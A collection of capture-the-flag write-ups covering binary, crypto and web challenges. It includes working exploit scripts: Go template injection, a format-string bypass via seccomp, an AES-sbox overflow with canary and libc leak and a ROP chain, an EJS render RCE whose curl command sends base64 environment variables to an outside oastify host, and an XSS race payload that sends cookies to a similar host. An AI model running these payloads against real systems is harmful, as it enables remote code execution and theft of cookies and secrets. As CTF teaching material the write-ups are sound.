Written by organizers
We can analyze the main executable after unpacking the initramfs. It's a statically linked, stripped binary that implements a breakout-like game. In the init phase we open the file /dev/prob
which later is used to read 200 bytes at a time to create the grid on the screen. The previous grid and the current grid are combined (I used xor, but more likely to have been a subtraction) to create the new grid of 10x20 breakout blocks.
We can either write a program and put it in the initramfs or we can find the data for the prob file in the kernel (it is hardcoded and not dynamically generated, so we can just extract it, there are references to rust drivers, but I didn't care enough about the actual implementation as I saw the hardcoded data).
I used the kernel ELF file which is extracted from the bzImage using binwalk.
from pwn import *
a = open("./42BF","rb").read()
idx = a.index(bytes.fromhex("000203030302000000000303020202030300")) - 5*16-12
prev = [0 for i in range(200)]
while True:
print()
x = a[idx:idx+10*20]
R = {
0: b" ",
1: b".",
2: b"x",
3: b"#"
}
x = bytes([(a^b) for a,b in zip(x,prev)])
prev = x[:]
n = 200 - x.count(b"\x00")
for k,v in R.items():
x = x.replace(p8(k), v)
l = 10
while x:
print(x[:l])
x = x[l:]
idx += 200
if idx == 10935480:
break
Then the pain of copying the ascii art begins…
The challenge is a web server which runs an RPG game. It serves a web page which displays the messages the server sends in ASCII art and an input box next to a button that the client can use to send commands. The messages between the server and the client are exchanged via a WebSocket connection. The CTF platform gives us the binary file of the web server, which is a 64-bit Linux executable compiled from Go.
The initial prompt from the server asks the client to input a name in English which can be arbitrarily long.
Input your name [English]
After entering the name, the server presents a menu. The player must choose a player class before playing the game.
Player Name: <name>
--------------------Status-------------------
Class Not found.
__ __ ____ ____ ___ ___ _____ ____ ____ ___
( \/ )(_ _)( _ \/ __) / __)( _ )( _ \( _ \ / __)
) ( _)(_ )___/\__ \( (_-. )(_)( ) / )___/( (_-.
(_/\/\_)(____)(__) (___/ \___/(_____)(_)\_)(__) \___/
------------------MipGoRPG------------------
1. Play
2. Set Class
--------------------------------------------
The client can choose a player class among three options:
Each player class has different stats:
And also different skills. Each skill can be targeted to the opposing monster or to the player:
--------------------Status-------------------
/| ________________
O|===|* >________________>
\|
[Warrior]
Health Point: 350 Mana Point: 0
Attack Status: 5 ~ 20 Defense Status: 10 ~ 13
--------------------Skill--------------------
@ Power Strike [Target: Monster]
- Attack point: 70 - Healing Point: -5
- Defense point: 0 - Mana Point: 0
@ Power Defense [Target: User]
- Attack point: 0 - Healing Point: -150
- Defense point: 10 - Mana Point: 0
---------------------------------------------
continue to select [y / n]
--------------------Status-------------------
==. .==
`==`o'=='
(|)
8
[Wizard]
Health Point: 50 Mana Point: 130
Attack Status: 3 ~ 5 Defense Status: 1 ~ 2
--------------------Skill--------------------
@ Mana Attack [Target: Monster]
- Attack point: 100 - Healing Point: 0
- Defense point: 0 - Mana Point: -20
@ Mana Recovery [Target: User]
- Attack point: 0 - Healing Point: 0
- Defense point: 0 - Mana Point: 100
@ Hell Fire [Target: Monster]
- Attack point: 200 - Healing Point: 0
- Defense point: 0 - Mana Point: -50
---------------------------------------------
continue to select [y / n]
--------------------Status-------------------
___________ ____________
| )._______.-'
`----------'
[Thief]
Health Point: 100 Mana Point: 0
Attack Status: 7 ~ 15 Defense Status: 5 ~ 9
--------------------Skill--------------------
@ Healing [Target: User]
- Attack point: 0 - Healing Point: 70
- Defense point: 0 - Mana Point: -100
@ Poison Sword [Target: Monster]
- Attack point: 110 - Healing Point: 0
- Defense point: 0 - Mana Point: -30
@ Mana Drink [Target: User]
- Attack point: 0 - Healing Point: 0
- Defense point: 0 - Mana Point: 50
---------------------------------------------
continue to select [y / n]
After choosing the player's class, the client can start the game. The game consists of multiple levels. At each level the player combats against a specific monster. Each monster always attacks the player, decreasing their Health Points. The starting monsters's stats are constant across multiple connections. The player can defeat the monster in multiple turns and can choose one action per turn until either the monster or the player lose all their Health Points. The game performs first the player's chosen action and then, if the monster is not defeated already by this action, also the monster's attack. The actions the player can choose are:
Player Name: <name>
--------------------Status-------------------
/| ________________
O|===|* >________________>
\|
[Warrior]
Health Point: 350 Mana Point: 0
Attack Status: 5 ~ 20 Defense Status: 10 ~ 13
------------------[Level 1]------------------
\ /
) ( ')
( / )
\(__)|
enemy hp: 100
---------------------------------------------
1. Attack 2.Skill 3. Defense 4. Item
---------------------------------------------
We can win the game choosing the Warrior class.
The Warrior has the Power Attack skill, which is most of the times more advantageous than the Attack action. The Attack action can cause maximum 20 Health Points of damage to the monster. On the other hand, the Power Attack skill can inflict a damage of 70 Health Points, causing a loss of only 5 Health Points to the player.
At most of the levels the player receives items that allow them to increase their Health Points, but these increases are not enough to sustain the attacks from all the monsters. The Warrior has the Power Defense skill, which allows them to increase their Minimum and Maximum Defense Points by 10, with the cost of 150 Health Points. The player can use this skill an indefinite number of times as long as they have enough Health Points and then use the Defense Action to decrease the monster's damage.
The game subtracts the player's Defense Points from the monster's Attack Points without ensuring the resulting damage value to be greater or equal to 0. This allows to have a negative damage and thus an increase of the player's Health Points at a monster's attack.
The total game levels are 7. The strategy is as follows:
When winning, the server performs a check on the number of turns: if the client wins the game in less than 10 rounds, the binary sends the flag which is returned from the method .ReadFlag
, otherwise it sends as congratulations an HTML text containing the name given at the start. The strategy requires many more rounds.
By running the binary locally, we noticed that the server tries to access a local file test.html
to output the congratulations HTML text. By reversing the binary, we found that it outputs the content of the file after performing the following operations:
((username))
in test.html
with the given name.parse
and execute
of the Go package template
to parse the substituted string as a template, execute this and send the result to the client.We noticed that by chaning the content of the name with curly brackets we could cause server errors. Once we noticed we could inject templates, we searched for go ssti, and found this article. Knowing we could execute function, we tried a few things such as .Player.Readflag, .Player, and eventually tried .Readflag which gave this message instead of a long stack trace!
We created a flag
file containg a fake flag, relaunched the exploit, and we had flag locally. We executed the script for remote, and after about 25 minutes, we got the flag!
#!/usr/bin/env python3
import copy
import math
import re
import websockets.exceptions
import websockets.sync.client
from pwn import *
from pwnlib.tubes.tube import tube
class websocket(tube):
def __init__(self, uri = 'ws://127.0.0.1:8080/ws', headers = {}, *a, **kw):
super(websocket, self).__init__(*a, **kw)
self.uri = uri
self.conn = websockets.sync.client.connect(uri, additional_headers=headers)
# Overwritten for better usability
def recvall(self, timeout = tube.forever):
return super(websocket, self).recvall(timeout)
def recv_raw(self, numb):
if not self.conn:
raise EOFError
try:
data = self.conn.recv(self.timeout)
if data:
if isinstance(data, str):
data = data.encode('utf-8')
return data
except websockets.exceptions.ConnectionClosed:
raise EOFError
except TimeoutError:
pass
return None
def send_raw(self, data):
if not self.conn:
raise EOFError
try:
self.conn.send(data)
except websockets.exceptions.ConnectionClosed:
raise EOFError
def settimeout_raw(self, timeout):
pass
def can_recv_raw(self, timeout):
if self.conn:
try:
return self.conn.ping().wait(timeout)
except:
pass
return False
def connected_raw(self, direction):
return self.conn is not None
def close(self):
if not self.conn:
return
self.conn.close_socket()
self.conn = None
self._close_msg()
def _close_msg(self):
self.info('Closed connection to %s', self.uri)
def fileno(self):
if not self.connected():
self.error('A closed websocket does not have a file number')
return self.conn.socket.fileno()
def shutdown_raw(self):
self.close()
class Skill:
def __init__(self, ap, hp, dp, mp, is_monster):
self.ap = ap
self.hp = hp
self.dp = dp
self.mp = mp
self.is_monster = is_monster
def __str__(self):
return f'Skill(AP={self.ap}, HP={self.hp}, DP={self.dp}, MP={self.mp}, IsMonster={self.is_monster})'
class Player:
def __init__(self, hp, mp, ap, dp, skills):
self.hp = hp # Health
self.mp = mp # Mana
self.ap = ap # Attack points (min, max)
self.dp = dp # Defense points (min, max)
self.skills = skills
self.items = []
def __str__(self):
skills_str = ', '.join(str(skill) for skill in self.skills)
return f'Player(HP={self.hp}, MP={self.mp}, AP={self.ap}, DP={self.dp}, Skills=[{skills_str}])'
class Item:
def __init__(self, ap=0, hp=0, dp=0, mp=0):
self.ap = ap
self.hp = hp
self.dp = dp
self.mp = mp
def __str__(self):
return f'Item(AP={self.ap}, HP={self.hp}, DP={self.dp}, MP={self.mp})'
class Monster:
def __init__(self, hp, ap, item):
self.hp = hp
self.mp = 0
self.ap = ap
self.item = item
def __str__(self):
return f'Monster(HP={self.hp}, AP={self.ap}, Item={self.item})'
class Game:
LAST_LEVEL = 7
CAT = Monster(hp=100, ap=(34, 35), item=Item(hp=96))
DOG = Monster(hp=50, ap=(102, 105), item=None)
WOLF = Monster(hp=350, ap=(35, 40), item=Item(hp=600, mp=600))
GOLD_BAT = Monster(hp=1350, ap=(40, 49), item=Item(hp=150))
BIG_SPIDER = Monster(hp=2500, ap=(10, 11), item=Item(hp=150))
BIGBIG_COW = Monster(hp=3900, ap=(60, 90), item=Item(hp=100))
ADMIN = Monster(hp=9999, ap=(100, 100), item=None)
MONSTERS = [CAT, DOG, WOLF, GOLD_BAT, BIG_SPIDER, BIGBIG_COW, ADMIN]
POWER_STRIKE = Skill(ap=70, hp=-5, dp=0, mp=0, is_monster=True)
POWER_DEFENSE = Skill(ap=0, hp=-150, dp=10, mp=0, is_monster=False)
WARRIOR = Player(hp=350, mp=0, ap=(5, 20), dp=(10, 14), skills=[POWER_STRIKE, POWER_DEFENSE])
MP_ATTACK = Skill(ap=100, hp=0, dp=0, mp=-20, is_monster=True)
MP_RECOVERY = Skill(ap=0, hp=0, dp=0, mp=100, is_monster=False)
HELL_FIRE = Skill(ap=200, hp=0, dp=0, mp=-50, is_monster=True)
WIZARD = Player(hp=50, mp=130, ap=(3, 5), dp=(1, 2), skills=[MP_ATTACK, MP_RECOVERY, HELL_FIRE])
MP_DRINK = Skill(ap=0, hp=0, dp=0, mp=50, is_monster=False)
HEALING = Skill(ap=0, hp=70, dp=0, mp=-100, is_monster=False)
POISON_SWORD = Skill(ap=110, hp=0, dp=0, mp=-30, is_monster=True)
THIEF = Player(hp=100, mp=0, ap=(7, 15), dp=(5, 9), skills=[MP_DRINK, HEALING, POISON_SWORD])
PLAYERS = [WARRIOR, WIZARD, THIEF]
PLAYER_CLASSES = {b'Warrior': WARRIOR, b'Wizard': WIZARD, b'Thief': THIEF}
def __init__(self, io):
self.io = io
self.name = None
self.player = None
self.level = 0
self.monster = None
self.turns = 0
def __str__(self):
return f'Game(Name={self.name}, Player={self.player}, Level={self.level}, Monster={self.monster}, Turns={self.turns})'
def update_status(self):
self.io.recvuntil(b'--------------------Status-------------------\n')
player_icon = self.io.recv()
msg1 = self.io.recv()
match1 = re.match(rb'\n\[(?P<class>\w+?)\]\n', msg1)
msg2 = self.io.recv()
match2 = re.match(rb' Health Point: (?P<hp>\d+) \t Mana Point: (?P<mp>\d+)', msg2)
msg3 = self.io.recv()
match3 = re.match(rb' Attack Status: (?P<ap_min>\d+) ~ (?P<ap_max>\d+) \t Defense Status: (?P<dp_min>\d+) ~ (?P<dp_max>\d+)', msg3)
msg4 = self.io.recv()
match4 = re.match(rb'------------------\[Level (?P<level>\d+)\]------------------\n', msg4)
monster_icon = self.io.recv()
msg5 = self.io.recv()
match5 = re.match(rb'\n\nenemy hp: (?P<hp>\d+)', msg5)
self.player = copy.copy(self.PLAYER_CLASSES[match1.group('class')])
self.player.hp = int(match2.group('hp'))
self.player.mp = int(match2.group('mp'))
self.player.ap = (int(match3.group('ap_min')), int(match3.group('ap_max')))
self.player.dp = (int(match3.group('dp_min')), int(match3.group('dp_max')))
self.level = int(match4.group('level'))
self.monster = copy.copy(self.MONSTERS[self.level - 1])
self.monster.hp = int(match5.group('hp'))
self.turns = self.turns + 1
log.info(str(self))
def _set_name(self, name):
self.name = name
self.io.sendafter(b'Input your name [English]', name)
def _set_class(self, class_idx):
self.io.recvuntil(b'------------------MipGoRPG------------------\n')
self.io.sendafter(b'--------------------------------------------\n', b'2')
for _ in range(class_idx):
self.io.sendafter(b'continue to select [y / n]\n', b'n')
self.io.sendafter(b'continue to select [y / n]\n', b'y')
def _start_game(self):
self.io.recvuntil(b'------------------MipGoRPG------------------\n')
self.io.sendafter(b'--------------------------------------------\n', b'1')
def play(self, name, class_idx, update=True):
log.info(f'play({name}, {class_idx})')
self._set_name(name)
self._set_class(class_idx)
self._start_game()
if update:
self.update_status()
def use_attack(self, update=True):
log.info('use_attack()')
self.io.recvuntil(b'1. Attack \t 2.Skill \t 3. Defense \t 4. Item\n')
self.io.sendafter(b'--------------------------------------------\n', b'1')
if update:
self.update_status()
def use_skill(self, skill_idx, update=True):
log.info(f'use_skill({skill_idx})')
self.io.recvuntil(b'1. Attack \t 2.Skill \t 3. Defense \t 4. Item\n')
self.io.sendafter(b'--------------------------------------------\n', b'2')
self.io.sendafter(b'--------------------------------------------\n', str(skill_idx + 1).encode())
if update:
self.update_status()
def use_defense(self, update=True):
log.info('use_defense()')
self.io.recvuntil(b'1. Attack \t 2.Skill \t 3. Defense \t 4. Item\n')
self.io.sendafter(b'--------------------------------------------\n', b'3')
if update:
self.update_status()
def use_item(self, item_idx, update=True):
log.info(f'use_item({item_idx})')
self.io.recvuntil(b'1. Attack \t 2.Skill \t 3. Defense \t 4. Item\n')
self.io.sendafter(b'--------------------------------------------\n', b'4')
self.io.recvuntil(b'---------------------------------------------\n')
msg = self.io.recv()
match = re.match(rb'Select Item \[1 ~ \d+\]\n', msg)
is_valid = match is not None
if is_valid:
self.io.send(str(item_idx + 1).encode())
if update:
self.update_status()
return is_valid
def main():
uri = 'ws://15.164.227.16:8080/ws'
if args.LOCAL:
uri = 'ws://127.0.0.1:8080/ws'
io = websocket(uri)
game = Game(io)
# Player: [Warrior]
# Skill 0: [Power Strike] ap: 70, hp: -5
# Skill 1: [Power Defense] dp: 10, hp: -150
game.play(b'{{.Readflag}}', 0)
while game.level <= Game.LAST_LEVEL:
log.success(f'Level: {game.level}')
if game.level >= 4:
# Use available items
log.success('Ready to use available items...')
while game.use_item(0):
pass
log.success('Used available items')
# Increase min dp
log.success(f'Current min dp: {game.player.dp[0]} (should be > {game.monster.ap[1]})')
log.success('Ready to increase min dp...')
while game.player.dp[0] <= game.monster.ap[1]:
if game.player.hp <= game.monster.ap[1] + abs(game.player.skills[1].hp):
io.close()
log.error('Failed to increase min dp, restart script')
game.use_skill(1) # Power Defense
log.success(f'Increased min dp: {game.player.dp[0]} (now it is > {game.monster.ap[1]})')
# Increase hp for necessary power strikes
strikes_necessary = math.ceil(game.monster.hp / game.player.skills[0].ap)
hp_necessary = strikes_necessary * (game.monster.ap[1] + abs(game.player.skills[0].hp))
log.success(f'Necessary power strikes: {strikes_necessary}')
log.success(f'Hp: {game.player.hp} (should be >= {hp_necessary})')
log.success('Ready to increase hp...')
while game.player.hp <= hp_necessary:
while game.player.hp < game.monster.ap[1] + abs(game.player.skills[1].hp):
if game.player.hp <= game.monster.ap[1] - game.player.dp[0]:
io.close()
log.error('Failed to increase hp, restart script')
game.use_defense()
game.use_defense()
game.use_skill(1) # Power Defense
log.success(f'Increased hp: {game.player.hp} (now it is >= {hp_necessary})')
log.success(f'Increased min dp: {game.player.dp[0]}')
# Attack with power strikes
log.success('Ready to attack with power strikes...')
while game.monster.hp > game.player.skills[0].ap:
game.use_skill(0) # Power Strike
# Do not check status after latest attack, a game win does not update status
if game.level < Game.LAST_LEVEL:
game.use_skill(0)
log.success('Defeated monster')
else:
game.use_skill(0, update=False)
game.level += 1
log.success('Defeated monster')
log.success('Won game')
log.success('Ready to receive congratulations...')
io.recvuntil(b'&true&')
print(io.recvall().decode())
if __name__ == '__main__':
main()
The challenge binary lets us load a seccomp filter of our choice and then has a format string exploit which would be trivial if it weren't protected by fortify. The main issue being that fortify doesn't allow format strings located in writable memory (like the stack buffer we use) to contain %n
s.
However, the way it checks this is by reading from /proc/self/maps
. And since fortify also supports running in environments without /proc
mounted, it will fail open if it thinks that file doesn't exist.
So we can simply use the seccomp filter to make that openat
syscall return ENOENT
. The last hurdle is that the binary only opens the flag file later on. So we must still allow that syscall. We decided to differentiate them using the open flags since /proc/self/maps
is opened with O_RDONLY|O_CLOEXEC
and /flag
only with O_RDONLY
.
We then used seccomp-tools to dump the seccomp filter from this small binary.
#include <stdio.h>
#include <stdlib.h>
#include <seccomp.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
int main() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOENT), SCMP_SYS(openat), 1, SCMP_A2(SCMP_CMP_EQ, O_RDONLY|O_CLOEXEC)) < 0) {
perror("seccomp_rule_add");
exit(EXIT_FAILURE);
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
exit(EXIT_FAILURE);
}
printf("hello world\n");
sleep(100);
return 0;
}
Sending the resulting filter and the format string exploit (b'%c%c%c%c%c%c%c%c%4911c%n' + p64(0x404088)
) to the remote then gets us the flag.
The challenge binary implements a very, very buggy pipelined processor which has four registers that can each contain either an integer or a string. We have a few instructions that allow us to, for instance, dump the registers (if they contain a string, we only get the pointer to the string), load a 16-bit immediate into a register, read/write a character of a string, or randomly load one of ten strings into a register. The flag is the final, eleventh, element in the list that the strings are drawn from and is, therefore, never selected.
The strings currently contained in registers are stored in an array of the following structs;
struct string_slot {
uint64_t available
union {
char string[0x10000];
uint64_t next_string;
};
};
When the slot isn't used, available is set to 1 and next_string to the index of the string that will be copied into this slot the next time it is allocated. Since we can set bytes in the string, we can easily set next_string to 10, the flag's index. We then have to set available to 1 so the slot gets reallocated. Since all immediates are unsigned and at most 16-bit, we cannot use those to index anything out of bounds. However, chars read from a string are treated as signed. We can therefore set a register to -8 by writing 0xf8 into a string a then reading that again.
Working around some minor limitations and major bugs of the CPU implementation then leads to this shellcode
# write the required values to a string
X0 = randomstring()
X0[0] = 10
X0[1] = 0
X0[2] = 0
X0[3] = 0
X0[4] = 0
X0[5] = 0
X0[6] = 0
X0[7] = 0
X0[8] = 0xf8
# workaround for a bug in some code that for some reason pretends to track string lengths
X1 = randomstring()
# X0 = -8
X1 = X0
X0 = X1[8]
# reallocate the slot to the flag
X1[X0] = 1
X2 = randomstring()
# read flag
x3 = X2[0]
dumpregs()
x3 = X2[1]
dumpregs()
x3 = X2[2]
dumpregs()
...
Because the implementation uses threads in a very unsafe manner, this either dumps the flag or segfaults after only a few instructions, depending on the environment. By adding some random dumpregs, we can get it to run stable enough on the remote to dump about 10 flag characters at a time, allowing us to extract the flag in small fragments.
We need to combine a few bugs for our end-goal, first off we need to figure out the key used for the encryption or decryption. Since after every decryption the key changes we need to do so without fully using the decryption function.
First we enter decryption mode and send 0x800 bytes of nulls. This will overflow the buffer in the data section and overwrite the AES-sboxes, next we encrypt a single block. This will give us two blocks (one for padding) which are identical - which makes sense given the second to last step was to use the SBOX. The last step is to xor it with the roundkey for the current round. Luckily for us the first 8 bytes are just the key, the second 8 bytes are the second half of the key xored with the first half of the key, so since we know the first 8 bytes we can undo this and get the full key.
Now that we have the AES-key we can restore the sbox using the same overflow, but instead of 0x800 nulls we send 0x100 nulls and then the constant data from the binary. After that we can craft encrypted blocks which (after the first block due to the IV) will decrypt to whatever we want. So we create a payload which has 0x80 bytes at the end. And we make the payload be 0xc0 bytes long, which means we will subtract -0x80 to the end of the buffer, meaning we will leak quite a bit.
In fact it is enough to leak both the stack canary and the libc (close) address which is on the stack. But of course becuase we decrypted, the key and iv were reset to a random value. So we use the exact same method as described above again to get the new key.
This time we want the IV too, because there is an easy stack overflow in encrypt, which requires us to know the IV to craft blocks which encrypt to a controlled payload. Luckily we can just encrypt a bunch of null bytes, then decrypt using the known key. The first block will decrypt to the IV (because it is IV xored with our input, which was null).
Now with the IV and the key we can craft a payload which will overflow the buffer (which has size 0xf0), with the canary we leaked, then three register values we don't care about and finally our ropchain. Since this ropchain is now in the range of the sboxes we need to keep it rather short. Luckily a one-gadget in libc did the trick.
from Crypto.Cipher import AES
io = start()
# mess up the sboxes
io.sendlineafter(b"> ", b"2")
io.sendafter(b": ", b"0"*0x800)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", b"00"*0x10)
io.recvuntil(b"ciphertext: ")
encrypted_block = bytes.fromhex(io.recvline().strip().decode())
rcon = bytes.fromhex("8D01020408102040801B36000000000000000000000000000000000000000000")
sbox = bytes.fromhex("52096AD53036A538BF40A39E81F3D7FB7CE339829B2FFF87348E4344C4DEE9CB547B9432A6C2233DEE4C950B42FAC34E082EA16628D924B2765BA2496D8BD12572F8F66486689816D4A45CCC5D65B6926C704850FDEDB9DA5E154657A78D9D8490D8AB008CBCD30AF7E45805B8B34506D02C1E8FCA3F0F02C1AFBD0301138A6B3A9111414F67DCEA97F2CFCEF0B4E67396AC7422E7AD3585E2F937E81C75DF6E47F11A711D29C5896FB7620EAA18BE1BFC563E4BC6D279209ADBC0FE78CD5AF41FDDA8338807C731B11210592780EC5F60517FA919B54A0D2DE57A9F93C99CEFA0E03B4DAE2AF5B0C8EBBB3C83539961172B047EBA77D626E169146355210C7D")
invsbox = bytes.fromhex("637C777BF26B6FC53001672BFED7AB76CA82C97DFA5947F0ADD4A2AF9CA472C0B7FD9326363FF7CC34A5E5F171D8311504C723C31896059A071280E2EB27B27509832C1A1B6E5AA0523BD6B329E32F8453D100ED20FCB15B6ACBBE394A4C58CFD0EFAAFB434D338545F9027F503C9FA851A3408F929D38F5BCB6DA2110FFF3D2CD0C13EC5F974417C4A77E3D645D197360814FDC222A908846EEB814DE5E0BDBE0323A0A4906245CC2D3AC629195E479E7C8376D8DD54EA96C56F4EA657AAE08BA78252E1CA6B4C6E8DD741F4BBD8B8A703EB5664803F60E613557B986C11D9EE1F8981169D98E949B1E87E9CE5528DF8CA1890DBFE6426841992D0FB054BB16")
# restore aes sbox
io.sendlineafter(b"> ", b"2")
io.sendafter(b": ", b"00"*0x100 + b"0100000000000000000000000000000000000000000000000000000000000000" + rcon.hex().encode() + sbox.hex().encode() + invsbox.hex().encode())
key = encrypted_block[:16]
key = key[:8] + xor(key[:8], key[8:])
info("Key 1: %s", key)
payload = AES.new(key, AES.MODE_CBC, b"\xff"*16).encrypt(b"\x80"*0xc0)
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b":", payload.hex().encode())
libc = ELF("/usr/lib/libc.so.6") if args.LOCAL else ELF("./libc.so.6")
io.recvuntil(b"plaintext: ")
leak = bytes.fromhex(io.recvline().strip().decode())[0x100:]
canary = u64(leak[:8])
addr = (u64(leak[8*7:][:8]) - libc.sym.close) & ~0xfff
info("Canary get: 0x%x", canary)
info("Addr get: 0x%x", addr)
info("leak: %s", leak)
libc.address = addr
# mess up the sboxes
io.sendlineafter(b"> ", b"2")
io.sendafter(b": ", b"0"*0x800)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", b"00"*0x10)
io.recvuntil(b"ciphertext: ")
encrypted_block = bytes.fromhex(io.recvline().strip().decode())
# restore aes sbox
io.sendlineafter(b"> ", b"2")
io.sendafter(b": ", b"00"*0x100 + b"0100000000000000000000000000000000000000000000000000000000000000" + rcon.hex().encode() + sbox.hex().encode() + invsbox.hex().encode())
key = encrypted_block[:16]
key = key[:8] + xor(key[:8], key[8:])
info("Key 2: %s", key)
# send a single null-block, which after decryption with a null-iv will give us the actual iv used
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b":", (b"\x00"*16).hex().encode())
io.recvuntil(b"ciphertext: ")
encrypted_block = bytes.fromhex(io.recvline().strip().decode())
block = AES.new(key, AES.MODE_CBC, b"\x00"*16).decrypt(encrypted_block)
IV = block[:16]
# needs to be a multiple of 16 bytes, but not too long to overwrite the sboxes again
ropchain = p64(libc.address + 0xe3afe) + p64(0)
payload = AES.new(key, AES.MODE_CBC, IV).decrypt(b"\x80"*0xf0 + p64(canary) + p64(0)*3 + ropchain)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b":", payload.hex().encode())
io.interactive()
The remote runs a protocol that purportedly allows us to generate an RSA public key where neither party knows the corresponding private key. The basic idea is as follows:
p1
and q1
. Here, it does some stuff that moderately improves the chances of the protocol succeeding, but we'll ignore that for simplicity.p1
and q1
encrypted with its own public key.p2
and q2
and use RSA's homomorphic properties to send the server the encryptions of p2*q2
, p1*q2
, and q1*p2
(in a way that makes it hard to reconstruct the individual values but gives easy access to the sum)N = (p1+p2)*(q1+q2) = p1*q1 + p1*q2 + p2*q1 + p2*q2
and sends it to us.N
is (likely) the product of 2 primes p&q and we know p+q-p1-q1
(supposedly p2+q2
). Presumably, we're then supposed to restart if this fails.Finally, the server sends us the flag encrypted with the generated RSA key.
However, instead of picking random p2
and q2
, we can choose a prime p
and send the server the encryptions of -p1*q1
, p1*p
, and q1*p
. This will lead the server to compute N=p*(p1+q1)=p1*q1-p1*q1+p1*p+q1*p
. This allows us to pass the final check, factor N
, and decrypt the flag.
The /api/stream/:url
endpoint allowed us to use the server as a proxy and display arbitrary content as long as the response header of our server was in allowedContentTypes
. Without really looking into the why, we noticed the /api/stream/:url
endpoint did not use the correct content-type, which allowed us to have arbitrary HTML from the challenge domain, which meant we had XSS.
The bot cookie had the HTTPOnly flag on, so we couldn't steal it. Howver, we could still send requests on behalf of the bot thanks to the XSS.
With the bot having the SECRET cookie set to the actual SECRET
value, we could access /api/messages. admin.ejs was empty, but the interesting part was actually the fact that we had full control over the second parameter of res.render: res.render("admin", {...id})
.
Using this writeup as a reference, we got RCE, and exfiltrated the flag by getting base64 encoding all of the environment variables (with one of them being the flag), and sending them to a URL we own.
from flask import Response, Flask
app = Flask(__name__)
@app.route('/b')
def asd():
x = """<html><body><script>
fetch("/api/messages",{method:"POST",headers:{"Content-Type": "application/json"},body:'{"id":{"debug":true,"settings":{"view options":{"client":true,"escapeFunction":"function(markup) {}; process.mainModule.require(\\'child_process\\').execSync(\\'curl http://4pupukev8fjb8q93y9tedk5fg6mxatyi.oastify.com/$(env | base64 -w0)\\')"}},"name":1,"cache":false}}'})
</script></body></html>"""
return Response(x, mimetype='audio/mpeg')
if __name__ == '__main__':
app.run(debug=True,host="0.0.0.0",port=12344)
At this point, we just have to run the script to host the exploit, and send the bot to something like http://nginx/api/stream/http:%2F%2F[exploit server]%2fb, and if everything went well, we receive a request on our exfil server containing the flag.
/api/calculate.php
has a classic TOCTOU issue - window.onhashchange will execute the function we're interested in, set code
to the url fragment content, await a request to /api/debug.php (this is the part where it is slow enough so we can do race condition), do the regex check on code
(which is STILL the old value set before the await fetch), and if the check passed, take the new location.hash value and eval it.
That means that if we can change the location.hash between the code = ...
and the eval(...)
, we can pass the regex check with an old safe value, and eval a new dangerous value. Example: use YWFh (aaa
) for the safe value, then switch to ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ (document.location="http://ucafha1lv561vgwtlzg40as53w9nxel3.oastify.com/"+document.cookie
) for the new value. This should send the bot to our exfil domain with its cookie containing the flag.
We coded up this exploit, but it was very unreliable, we had to send it to the bot multiple times:
<html>
<script type="text/javascript">
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
domain = "web"
//domain = "15.165.237.22"
async function idk(x) {
x.location="http://"+domain+"/api/calculate.php#YWFh";
}
async function exploit() {
x=window.open("http://"+domain+"/api/calculate.php")
await sleep(1000)
idk(x)
await sleep(1)
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";
x.location="http://"+domain+"/api/calculate.php#YWFh";
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
await sleep(1)
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
await sleep(1)
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
await sleep(10)
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
await sleep(10)
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";x.location="http://"+domain+"/api/calculate.php#YWFh";
